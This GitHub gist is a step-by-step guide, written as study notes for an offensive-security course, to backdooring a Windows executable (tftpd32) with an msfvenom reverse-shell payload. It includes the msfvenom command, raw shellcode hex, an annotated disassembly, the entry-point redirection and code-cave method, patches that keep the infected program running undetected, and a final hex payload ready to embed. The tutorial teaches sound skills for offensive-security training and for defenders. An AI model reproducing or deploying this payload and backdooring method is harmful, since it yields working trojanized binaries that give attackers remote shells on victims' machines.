Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Last active November 14, 2023 19:45
Show Gist options
  • Star 52 You must be signed in to star a gist
  • Fork 25 You must be signed in to fork a gist
  • Save mgeeky/2193d0416e3c4ce49996ee6616e0bf0b to your computer and use it in GitHub Desktop.
Save mgeeky/2193d0416e3c4ce49996ee6616e0bf0b to your computer and use it in GitHub Desktop.
(OSCE/CTP, Module #3: Backdooring PE Files) Document explaining how to locate WaitForSingleObject(..., INFINITE) within msfvenom's (4.12.23-dev) generated payload and how to fix the payload's glitches.

Looking for WaitForSingleObject call within modern msfvenom generated payload.


Abstract

This is a document explaining how to locate WaitForSingleObject(..., INFINITE) within msfvenom's (4.12.23-dev) generated payload and how to fix the payload's glitches. It goes through the analysis of a windows/shell_reverse_tcp payload, touching issues like stack alignment, WaitForSingleObject locating & patching. It has been written when I realised there are many topics on the Offensive-Security OSCE/CTP forums touching problem of finding this particular Windows API. Since RE is one of my stronger FU's I decided to write down my explanation of the subject.

Contents:

  1. Generating a proper payload
  2. Preparing target executable.
  3. Embedding msfvenom payload to the code cave
  4. Explaining what the payload is all about
  5. Patching the Payload to make it work as needed
  6. Final payload with comments + hex string

Step 1: Generating a proper payload


Firstly, we are about to generate proper payload using msfvenom. The key here is to use EXITFUNC=none option in order to let the payload to proceed with code flow further, without invoking ExitProcess / ExitThread.

The payload selected here will be windows/shell_reverse_tcp althougth there should be no issue with using windows/meterpreter/reverse_tcp as well.

Here's the proper msfvenom invokation:

kali|16:53|~/osce/labs/vista # msfvenom  -p windows/shell_reverse_tcp LHOST=192.168.100.XXX LPORT=4444 -f hex EXITFUNC=none
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of hex file: 648 bytes
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a86437680200115c89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5

We then take this payload and copy it into clipboard.

Step 2: Preparing target executable.


I have myself always been more comfortable with overwriting _IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint field rather than modifying first bytes of the OEP (Original Entry Point), but this does not make any difference for explaining patching process of the payload. As a matter of fact, modified AddressOfEntryPoint pointing at the last section in the PE file, which is relatively small might trigger some flags in Antivirus products (or may be more suspicious than using Borrowed bytes technique as discussed in CTP Module #3). At the end we want to get into our code cave / injected new section or in other means our payload.

If one goes for borrowed bytes technique (meaning, by overwriting bytes from the OEP, then pasting those original bytes at the end of the custom payload before jumping back) those bytes will have to be pasted at the end of our payload, before the actual jump, and after POPAD / registers restoration.

So, I have changed (with having noted previous, original value of that field) AddressOfEntryPoint field into address of my new section (0x00446000), then inserted around let's say 600 NOPs consecutively.

My section looks the following: .NewSec, VOffset: 0x46000, VSize: 0x1000, ROffset: 0x2D000, RSize: 0x1000, Flags: 0xE000000E0

From now on I assume my code cave starts at 0x446000 (that is: ImageBase + VOffset ).

Step 3: Embedding msfvenom payload to the code cave


At the end of the day, we need to have our code cave follow such layout:

  1. Some nops (nop sled)
  2. PUSHAD
  3. PUSHFD
  4. Some nops
  5. MSFVENOM PAYLOAD, unmodified at the moment anyhow.
  6. Some nops
  7. JMP to point 9.
  8. ADD ESP, 0x1A4 - Stack alignment, when payload couldn't connect
  9. POPFD
  10. POPAD
  11. (OPTIONAL) if one borrowed bytes from OEP, instead of modifying AddressOfEntryPoint - those bytes has to be pasted here
  12. JMP OEP - where OEP is a PREVIOUS, original value of the field AddressOfEntryPoint that we clobbered.

The final payload has been pasted at the end of this gist.

Step 4: Explaining what the payload is all about


Here's the explanation of the windows/shell_reverse_tcp payload in particular.

  1. ResolveImport(DWORD dwFunctionNameHash, DWORD dwLibraryNameHash, ...);

This is a function, located at the 0x00446060 (always this address will get passed via EBP register) that takes in a first argument a function name hash, then resolves it and calls with having supplied additional parameters passed originally to that routine:

; Function start
00446060       60            pushad                              ; ResolveImport(dwHash, ...);
00446061       89E5          mov     ebp, esp
00446063       31C0          xor     eax, eax
00446065       64:8B50 30    mov     edx, dword ptr fs:[eax+30]
...
004460D7       5A            pop     edx
004460D8       51            push    ecx
004460D9     - FFE0          jmp     eax                         ; Call resolved import with supplied params
; Function end

That last JMP eax does actual function (import) call with supplied parameters, than it returns to the point where the ResolveImport function was called from, for instance:

004460E3       68 33320000   push    3233
004460E8       68 7773325F   push    5F327377
004460ED       54            push    esp
004460EE       68 4C772607   push    726774C
004460F3       FFD5          call    ebp               ; ResolveImport("kernel32.dll", "LoadLibrary", "ws2_32.dll");
004460F5       B8 90010000   mov     eax, 190

Here's the code flow: 0x004460F3 invokes the ResolveImport("kernel32.dll", "LoadLibrary", "ws2_32.dll"); function, that yields handle to the loaded ws2_32.dll DLL - the one responsible for internetwork communication API. Then, from the 0004460D9 JMP within ResolveImport - the payload will return to the 0x004460F5 and take this up from that point on.

Having discussed how system imports are being invoked - here's the list of the APIs that get called:

  1. LoadLibrary("ws2_32.dll")
  2. WSAStartup(...)
  3. WSASocketA(...)
  4. connect(...)
  5. If connect succeeds: CreateProcess("cmd", ...)
  6. If connect succeeds: WaitForSingleObject(..., INFINITE)

Step 5: Patching the Payload to make it work as needed


A) Modifying the -1 (INFINITE) to 0 wait parameter.

Take a look at the below snippet:

0044616A       68 79CC3F86   push    863FCC79
0044616F       FFD5          call    ebp                         ; CreateProcess(cmd)
00446171       89E0          mov     eax, esp
00446173       4E            dec     esi
00446174       56            push    esi
00446175       46            inc     esi
00446176       FF30          push    dword ptr ds:[eax]
00446178       68 08871D60   push    601D8708
0044617D       FFD5          call    ebp                         ; WaitForSingleObject(..., INFINITE)
0044617F       BB FE0E32EA   mov     ebx, EA320EFE

This is the place where after creating a CMD process the payload goes into awaiting for the process to exit. When this happens, the payload may proceed to it's EXITFUNC.

Notice the most important sequence:

00446173       4E            dec     esi
00446174       56            push    esi

This is the very place where the ESI which originally was 0x00000000 gets decremented resulting in -1 (0xffffffff). In order to prevent having -1 we got to NOP out that dec esi instruction:

00446173       4E            nop                                  ; PATCHED
00446174       56            push    esi

B) The final patch that shall be applied is what happens when the payload fails connecting with our Kali/Backtrack machine. Originally it would go as far as:

00446130       74 0C         je      short tftpd32-.0044613E
00446132       FF4E 08       dec     dword ptr ds:[esi+8]
00446135     ^ 75 EC         jnz     short tftpd32-.00446123
00446137       68 F0B5A256   push    56A2B5F0
0044613C       FFD5          call    ebp                         ; Probably ExitProcess
0044613E       68 636D6400   push    646D63
00446143       89E3          mov     ebx, esp

This JE (0x00446130) check would fail, resulting in decrementing tryAgain counter and when that counter hits a zero - the JNZ not kicks in, leading the payload straight to the ExitProcess which results in terminating our infected binary. No TFTPD window, sorry.

To remedy premature infected binary termination, we have to patch PUSH instruction (to avoid messing with the stack when not needed) into a JMP that would lead to our stack aligning code as described in Step 3 point 8 of the numbered list (remember that we need to jump over that point 7 and land right into point 8 ).

Stack aligning is needed because when the payload terminates prematurly it does not have any chances of getting the stack into it's original position. I have calculated that in this very point we have to add 0x1A4 to the ESP to get it right. So we need a add esp, 0x1a4 instruction right before the skipping jump.

How did I calculated that?

  1. Place brakepoint after the PUSHFD instruction (point 3. of previous number list)
  2. Note the ESP value (ESP0)
  3. Place breakpoint right in place of that PUSH at (0x00446137)
  4. Note the ESP value (ESP1)
  5. Calculate the difference (DIFF := ESP0 - ESP1) -> I've got 0x1A4.

Unfortunately, since there is a jump shortly before:

00446130       74 0C         je      short tftpd32-.0044613E

Leading into address that would get corrupted if we had applied the second patch inline (that is in place of that PUSH instruction), the result would be an Access Violation.

herefore we have to refine the strategy:

  1. Place at the 0x00446137 JUMP instruction (right after the payload) but before our POPFD instruction.
  2. At the address: 0x004461b3 place a JMP-over instruction that would let the program skip Stack aligning if it reaches that place normally, after connecting to our payload. (point nr. 7 of our previous list)
  3. Then, at the 0x004461b5 we add stack aligning operation (add esp, 0x1a4) - (point nr. 8 of our previous list)

and that's all, this is how it supposed to look like:

0044612C       FFD5          call    ebp
0044612E       85C0          test    eax, eax
00446130       74 0C         je      short tftpd32-.0044613E
00446132       FF4E 08       dec     dword ptr ds:[esi+8]
00446135     ^ 75 EC         jnz     short tftpd32-.00446123
00446137       EB 7C         jmp     short tftpd32-.004461B5  ; PATCHED
00446139       90            nop                              ; PATCHED
0044613A       90            nop                              ; PATCHED
0044613B       90            nop                              ; PATCHED
0044613C       FFD5          call    ebp
0044613E       68 636D6400   push    646D63
00446143       89E3          mov     ebx, esp
00446145       57            push    edi
...
004461B3      /EB 07         jmp     short tftpd32-.004461BC
004461B5      |81C4 A4010000 add     esp, 1A4
004461BB      |90            nop
004461BC      \90            nop
004461BD       9D            popfd
004461BE       61            popad
004461BF     - E9 9AB1FCFF   jmp     tftpd32-.0041135E

Having these two patches applied, we save the binary and this is all.

Step 6: Final payload with comments


00446000       90            nop                             ; MODULE DETOURED ENTRY POINT.
00446001       90            nop
00446002       60            pushad
00446003       9C            pushfd
00446004       90            nop
00446005       90            nop
00446006       90            nop
00446007       90            nop
00446008       90            nop
00446009       90            nop
0044600A       90            nop
0044600B       90            nop
0044600C       90            nop
0044600D       90            nop
0044600E       90            nop
0044600F       90            nop
00446010       90            nop
00446011       90            nop
00446012       90            nop
00446013       90            nop
00446014       90            nop
00446015       90            nop
00446016       90            nop
00446017       90            nop
00446018       90            nop
00446019       90            nop
0044601A       90            nop
0044601B       90            nop
0044601C       90            nop
0044601D       90            nop
0044601E       90            nop
0044601F       90            nop
00446020       90            nop
00446021       90            nop
00446022       90            nop
00446023       90            nop
00446024       90            nop
00446025       90            nop
00446026       90            nop
00446027       90            nop
00446028       90            nop
00446029       90            nop
0044602A       90            nop
0044602B       90            nop
0044602C       90            nop
0044602D       90            nop
0044602E       90            nop
0044602F       90            nop
00446030       90            nop
00446031       90            nop
00446032       90            nop
00446033       90            nop
00446034       90            nop
00446035       90            nop
00446036       90            nop
00446037       90            nop
00446038       90            nop
00446039       90            nop
0044603A       90            nop
0044603B       90            nop
0044603C       90            nop
0044603D       90            nop
0044603E       90            nop
0044603F       90            nop
00446040       90            nop
00446041       90            nop
00446042       90            nop
00446043       90            nop
00446044       90            nop
00446045       90            nop
00446046       90            nop
00446047       90            nop
00446048       90            nop
00446049       90            nop
0044604A       90            nop
0044604B       90            nop
0044604C       90            nop
0044604D       90            nop
0044604E       90            nop
0044604F       90            nop
00446050       90            nop
00446051       90            nop
00446052       90            nop
00446053       90            nop
00446054       90            nop
00446055       90            nop
00446056       90            nop
00446057       90            nop
00446058       90            nop
00446059       90            nop
0044605A       FC            cld
0044605B       E8 82000000   call    tftpd32-.004460E2
00446060       60            pushad                               ; ResolveImports(dwFuncNameHash, dwLibrNameHash, ...)
00446061       89E5          mov     ebp, esp
00446063       31C0          xor     eax, eax
00446065       64:8B50 30    mov     edx, dword ptr fs:[eax+30]
00446069       8B52 0C       mov     edx, dword ptr ds:[edx+C]
0044606C       8B52 14       mov     edx, dword ptr ds:[edx+14]
0044606F       8B72 28       mov     esi, dword ptr ds:[edx+28]
00446072       0FB74A 26     movzx   ecx, word ptr ds:[edx+26]
00446076       31FF          xor     edi, edi
00446078       AC            lods    byte ptr ds:[esi]
00446079       3C 61         cmp     al, 61
0044607B       7C 02         jl      short tftpd32-.0044607F
0044607D       2C 20         sub     al, 20
0044607F       C1CF 0D       ror     edi, 0D
00446082       01C7          add     edi, eax
00446084     ^ E2 F2         loopd   short tftpd32-.00446078
00446086       52            push    edx
00446087       57            push    edi
00446088       8B52 10       mov     edx, dword ptr ds:[edx+10]
0044608B       8B4A 3C       mov     ecx, dword ptr ds:[edx+3C]
0044608E       8B4C11 78     mov     ecx, dword ptr ds:[ecx+edx+>
00446092       E3 48         jecxz   short tftpd32-.004460DC
00446094       01D1          add     ecx, edx
00446096       51            push    ecx
00446097       8B59 20       mov     ebx, dword ptr ds:[ecx+20]
0044609A       01D3          add     ebx, edx
0044609C       8B49 18       mov     ecx, dword ptr ds:[ecx+18]
0044609F       E3 3A         jecxz   short tftpd32-.004460DB
004460A1       49            dec     ecx
004460A2       8B348B        mov     esi, dword ptr ds:[ebx+ecx*>
004460A5       01D6          add     esi, edx
004460A7       31FF          xor     edi, edi
004460A9       AC            lods    byte ptr ds:[esi]
004460AA       C1CF 0D       ror     edi, 0D
004460AD       01C7          add     edi, eax
004460AF       38E0          cmp     al, ah
004460B1     ^ 75 F6         jnz     short tftpd32-.004460A9
004460B3       037D F8       add     edi, dword ptr ss:[ebp-8]
004460B6       3B7D 24       cmp     edi, dword ptr ss:[ebp+24]
004460B9     ^ 75 E4         jnz     short tftpd32-.0044609F
004460BB       58            pop     eax
004460BC       8B58 24       mov     ebx, dword ptr ds:[eax+24]
004460BF       01D3          add     ebx, edx
004460C1       66:8B0C4B     mov     cx, word ptr ds:[ebx+ecx*2]
004460C5       8B58 1C       mov     ebx, dword ptr ds:[eax+1C]
004460C8       01D3          add     ebx, edx
004460CA       8B048B        mov     eax, dword ptr ds:[ebx+ecx*>
004460CD       01D0          add     eax, edx
004460CF       894424 24     mov     dword ptr ss:[esp+24], eax
004460D3       5B            pop     ebx
004460D4       5B            pop     ebx
004460D5       61            popad
004460D6       59            pop     ecx
004460D7       5A            pop     edx
004460D8       51            push    ecx
004460D9       FFE0          jmp     eax                                  ; Resolved import function call
004460DB       5F            pop     edi
004460DC       5F            pop     edi
004460DD       5A            pop     edx
004460DE       8B12          mov     edx, dword ptr ds:[edx]
004460E0     ^ EB 8D         jmp     short tftpd32-.0044606F
004460E2       5D            pop     ebp
004460E3       68 33320000   push    3233
004460E8       68 7773325F   push    5F327377
004460ED       54            push    esp
004460EE       68 4C772607   push    726774C
004460F3       FFD5          call    ebp                                 ; LoadLibrary('ws2_32.dll');
004460F5       B8 90010000   mov     eax, 190
004460FA       29C4          sub     esp, eax
004460FC       54            push    esp
004460FD       50            push    eax
004460FE       68 29806B00   push    6B8029
00446103       FFD5          call    ebp                                 ; WSAStartupA()
00446105       50            push    eax
00446106       50            push    eax
00446107       50            push    eax
00446108       50            push    eax
00446109       40            inc     eax
0044610A       50            push    eax
0044610B       40            inc     eax
0044610C       50            push    eax
0044610D       68 EA0FDFE0   push    E0DF0FEA
00446112       FFD5          call    ebp                                 ; WSASocketA()
00446114       97            xchg    eax, edi
00446115       6A 05         push    5
00446117       68 C0A86437   push    3764A8C0
0044611C       68 0200115C   push    5C110002
00446121       89E6          mov     esi, esp
00446123       6A 10         push    10
00446125       56            push    esi
00446126       57            push    edi
00446127       68 99A57461   push    6174A599
0044612C       FFD5          call    ebp                                 ; connect()
0044612E       85C0          test    eax, eax                            ; does connect succeeded?
00446130       74 0C         je      short tftpd32-.0044613E
00446132       FF4E 08       dec     dword ptr ds:[esi+8]                ; if not, try again, until counter not zero.
00446135     ^ 75 EC         jnz     short tftpd32-.00446123
00446137       EB 7C         jmp     short tftpd32-.004461B5             ; Could not connect, SKIP to stack align and
00446139       90            nop                                         ; proceed further with infected binary.
0044613A       90            nop                                         ; PATCHED
0044613B       90            nop                                         ; PATCHED
0044613C       FFD5          call    ebp                                 ; Here was an ExitProcess call
0044613E       68 636D6400   push    646D63                              ; connect() succeeded, carry on.
00446143       89E3          mov     ebx, esp
00446145       57            push    edi
00446146       57            push    edi
00446147       57            push    edi
00446148       31F6          xor     esi, esi
0044614A       6A 12         push    12
0044614C       59            pop     ecx
0044614D       56            push    esi
0044614E     ^ E2 FD         loopd   short tftpd32-.0044614D
00446150       66:C74424 3C >mov     word ptr ss:[esp+3C], 101
00446157       8D4424 10     lea     eax, dword ptr ss:[esp+10]
0044615B       C600 44       mov     byte ptr ds:[eax], 44
0044615E       54            push    esp
0044615F       50            push    eax
00446160       56            push    esi
00446161       56            push    esi
00446162       56            push    esi
00446163       46            inc     esi
00446164       56            push    esi
00446165       4E            dec     esi
00446166       56            push    esi
00446167       56            push    esi
00446168       53            push    ebx
00446169       56            push    esi
0044616A       68 79CC3F86   push    863FCC79
0044616F       FFD5          call    ebp                             ; CreateProcess(cmd) with redirected streams/handle
00446171       89E0          mov     eax, esp
00446173       4E            nop                                     ; PATCHED, previous ESI decrementing (-1 -> INF)
00446174       56            push    esi
00446175       46            inc     esi
00446176       FF30          push    dword ptr ds:[eax]
00446178       68 08871D60   push    601D8708
0044617D       FFD5          call    ebp                             ; WaitForSingleObject()
0044617F       BB AAC5E25D   mov     ebx, 5DE2C5AA
00446184       68 A695BD9D   push    9DBD95A6
00446189       FFD5          call    ebp                             ; GetVersion()
0044618B       3C 06         cmp     al, 6
0044618D       7C 0A         jl      short tftpd32-.00446199
0044618F       80FB E0       cmp     bl, 0E0
00446192       75 05         jnz     short tftpd32-.00446199
00446194       BB 4713726F   mov     ebx, 6F721347
00446199       6A 00         push    0
0044619B       53            push    ebx
0044619C       FFD5          call    ebp                             ; GetLastError()
0044619E       90            nop                                     ; Start of our trailing NOP Sled
0044619F       90            nop
004461A0       90            nop
004461A1       90            nop
004461A2       90            nop
004461A3       90            nop
004461A4       90            nop
004461A5       90            nop
004461A6       90            nop
004461A7       90            nop
004461A8       90            nop
004461A9       90            nop
004461AA       90            nop
004461AB       90            nop
004461AC       90            nop
004461AD       90            nop
004461AE       90            nop
004461AF       90            nop
004461B0       90            nop
004461B1       90            nop
004461B2       90            nop
004461B3       EB 07         jmp     short tftpd32-.004461BC         ; If we reached here, the Payload connected
004461B5       81C4 A4010000 add     esp, 1A4                        ; If we reached here, the Payload could not connect
004461BB       90            nop                                     ;    and therefore stack aligning is needed.
004461BC       90            nop
004461BD       9D            popfd                                   ; Restore original registers and flags values
004461BE       61            popad
004461BF     - E9 9AB1FCFF   jmp     tftpd32-.0041135E               ; Jump to Original Entry Point (OEP)
004461C4       90            nop

Or in hex-string:

9090609c9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a86437680200115c89e66a1056576899a57461ffd585c0740cff4e0875eceb7c909090ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e0905646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5909090909090909090909090909090909090909090eb0781c4a401000090909d61e99ab1fcff90

Remember to add a final JMP OEP instruction.

Good luck & Have fun.

@shelld0n
Copy link

shelld0n commented Jan 13, 2019

@mgeeky i love what you did there, god bless the community, will try to do the same with meterpreter reverse tcp

@miteshgoplani
Copy link

This is the best explanation.
The comments in the payload are really helpful
Thank you so much @mgeeky

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment